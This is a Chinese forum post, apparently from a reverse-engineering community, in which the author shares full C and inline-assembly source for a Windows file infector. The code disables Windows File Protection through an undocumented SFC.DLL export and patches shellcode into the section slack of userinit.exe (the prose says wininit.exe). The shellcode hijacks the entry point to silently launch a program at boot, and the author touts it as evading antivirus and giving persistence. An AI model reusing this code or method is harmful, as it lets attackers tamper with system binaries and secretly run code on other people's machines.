最近做了个PE注入的程序,注入到wininit.exe
刚开始写了个增加一个节 然后把代码放进去
。。做完后文件大小变了。觉得不太好就改成了插缝的方法,好在测试用的插入的代码也不大 99h ,插入wininit.exe也够了。。之前查了蛮多资料,有说插入PE的 ,但是貌似过不了windows 系统文件保护。。在网上找到了方法。
http://www.bitsum.com/aboutwfp.asp 老物了。。。
method 3 那个未文档化的函数。。
也可以用Method 2 SfcTerminateWatcherThread
(To accomplish this, virtual memory needs to be allocated in the winlogon process space and a thread procedure that invokes SfcTerminateWatcherThread copied into that memory. The thread procedure should then be invoked using kernel32.CreateRemoteThread and WFP will be disabled until the winlogon process restarts (computer is rebooted).)
插入winlogon进程 调用此函数。。
我用的method 3 简单易用。。 网上说只能解除保护1分钟 但是我测试的时候替换完重启还在。。所以貌似可以用来实现自启动。
下面程序演示注入wininit.exe 实现开机自启动notepad.exe,当然是隐藏运行,在进程里应该能看到,测试了XP成功。win7是肯定不行的,而且win7比较奇怪就连那段插入的代码都出问题
kernel32基址得到了 GetProcAddress也得到了,用来得到winexec的地址时 eax直接等于0了,,。。还望有人指点下。 汇编太菜了。没整明白啊。、
代码丢出来。 真心学习 高手不要拍砖。。。
#include <stdio.h>
#include<windows.h>
#include<TCHAR.h>
#include <shlwapi.h>
typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);
void KillSFC()
{
WCHAR drvpath[MAX_PATH]={0};
GetSystemDirectoryW(drvpath,sizeof(drvpath));
wcscat(drvpath,L"\\userinit.exe");
HMODULE hModule = LoadLibraryA("SFC.DLL");
SfcFileException *SfcFileExc = (SfcFileException (__stdcall *))GetProcAddress(hModule,(LPCSTR)5);
SfcFileExc(0,drvpath,-1);
FreeLibrary(hModule);
return;
}
int main(int argc,char* argv[])
{
IMAGE_NT_HEADERS ntHeader;
IMAGE_SECTION_HEADER SecInject;
FILE* pFile;
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath,sizeof(systemPath));
char szFileName[MAX_PATH] = "\\userinit.exe";
strcat(systemPath,szFileName);
strcpy(szFileName,systemPath);
KillSFC();
if((pFile=fopen(szFileName,"rb+"))==NULL)//打开文件失败则退出
{
printf("打开文件失败\n");
return 0;
}
fseek(pFile,0x3c,0);
DWORD pNT;
fread(&pNT,sizeof(DWORD),1,pFile);
fseek(pFile,pNT,SEEK_SET);
fread(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile); //读取NT头
//保存旧入口地址
int sectionNum = ntHeader.FileHeader.NumberOfSections;
int OldEntryPoint = ntHeader.OptionalHeader.AddressOfEntryPoint;
goto shellend;
__asm
{
shell: PUSHAD
MOV EAX,DWORD PTR FS:[30H] ;FS:[30H]指向PEB
MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针
MOV EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
MOV EAX,DWORD PTR [EAX] ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
MOV EAX,DWORD PTR [EAX+08H] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
MOV EBP,EAX ; 将Kernel32.dll模块基址地址放至kernel中
MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS
MOV EAX,DWORD PTR [EBP+EAX+120] ;指向导出表
MOV ECX,[EBP+EAX+24] ;取导出表中导出函数名字的数目
MOV EBX,[EBP+EAX+32] ;取导出表中名字表的地址
ADD EBX,EBP
PUSH WORD PTR 0X00 ;构造GetProcAddress字符串
PUSH DWORD PTR 0X73736572
PUSH DWORD PTR 0X64644163
PUSH DWORD PTR 0X6F725074
PUSH WORD PTR 0X6547
MOV EDX,ESP
PUSH ECX
F1:
MOV EDI,EDX
POP ECX
DEC ECX
TEST ECX,ECX
JZ EXIT
MOV ESI,[EBX+ECX*4]
ADD ESI,EBP
PUSH ECX
MOV ECX,15
REPZ CMPSB
TEST ECX,ECX
JNZ F1
POP ECX
MOV ESI,[EBP+EAX+36] ;取得导出表中序号表的地址
ADD ESI,EBP
MOVZX ESI,WORD PTR[ESI+ECX*2] ;取得进入函数地址表的序号
MOV EDI,[EBP+EAX+28] ;取得函数地址表的地址
ADD EDI,EBP
MOV EDI,[EDI+ESI*4] ;取得GetProcAddress函数的地址
ADD EDI,EBP
PUSH WORD PTR 0X00
PUSH DWORD PTR 0X636578 ;构造WinExec字符串
PUSH DWORD PTR 0X456E6957
PUSH ESP
PUSH EBP ;
CALL EDI ;调用GetProcAddress取得WinExec函数的地址
PUSH 0
PUSH WORD PTR 0X00 ;构造notepad.exe符串,测试新增节后的EXE是否能正常运行notepad.exe
PUSH DWORD PTR 0X657865
PUSH DWORD PTR 0X2E646170
PUSH DWORD PTR 0X65746F6E
PUSH ESP
CALL EAX
EXIT: ADD ESP,40 ;平衡堆栈
POPAD
}
shellend:
char *pShell;
int nShellLen;
__asm
{
LEA EAX,shell
MOV pShell,EAX;
LEA EBX,shellend
SUB EBX,EAX
MOV nShellLen,EBX
}
int i;
for(i=0;i<sectionNum;i++)
{
fseek(pFile,pNT+248+i*40,SEEK_SET); //定位到节表开始处
fread(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile);
DWORD pInfect = SecInject.PointerToRawData + SecInject.Misc.VirtualSize+5;
WORD Sign;
fseek(pFile,pInfect,SEEK_SET);
fread(&Sign,sizeof(WORD),1,pFile);
if(Sign == 0x1122) //已经感染过,结束程序.
{
MessageBoxA(NULL,"已感染过","msg",MB_OK);
return 0;
}
if((int)(SecInject.SizeOfRawData-SecInject.Misc.VirtualSize)>nShellLen)
break;
}
if(i>=sectionNum)
{
printf("找不到适合插入的节");
return 0;
}
DWORD lpCodeRVA = SecInject.VirtualAddress + SecInject.Misc.VirtualSize;
DWORD lpCodeOffs = SecInject.PointerToRawData + SecInject.Misc.VirtualSize; //添加代码的文件偏移
/*修改入口点地址并写回NT HEADER中*/
ntHeader.OptionalHeader.AddressOfEntryPoint = lpCodeRVA;
fseek(pFile,pNT,SEEK_SET);
fwrite(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile);
SecInject.Characteristics = SecInject.Characteristics|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_EXECUTE; //节属性改成可读、可执行
SecInject.Misc.VirtualSize += nShellLen;
fseek(pFile,pNT+248+i*40,SEEK_SET); //文件指针移动到SecInject的首址
fwrite(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile); //将修改后的节信息写回文件中
/*写入SHELLCODE*/
fseek(pFile,lpCodeOffs,SEEK_SET); //定位到添加代码的文件偏移
for(i=0;i<nShellLen;i++)
fputc(pShell[i],pFile);
//SHELLCODE之后是跳转到原OEP的指令
BYTE jmp = 0xE9;
OldEntryPoint = OldEntryPoint-(lpCodeRVA+nShellLen)-5;
fwrite(&jmp, sizeof(jmp), 1, pFile);
fwrite(&OldEntryPoint, sizeof(OldEntryPoint), 1, pFile);
WORD InfectSign=0x1122; // 感染标志
fwrite(&InfectSign,sizeof(WORD),1,pFile);
MessageBoxA(NULL,"注入成功","INFO",MB_OK);
return 0;
}
之前看《程序员的自我修养》(这书名字真不错。)的时候看到COFF PE 文件格式的时候,这文件格式也不过如此。。如今真的自己动起手来,才发现千难万险
。。 这回可真理解了“纸上得来终觉浅,绝知此事要躬行”
这句话的意思了。。 如果有兴趣的朋友可以自己写写
。
PS:此程序运行不会被杀软拦截,但是修改后的wininit.exe会被360报毒。。但是既然自启动了一个程序,也可以用你写的程序来保护 , 隔段时间调用此程序。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)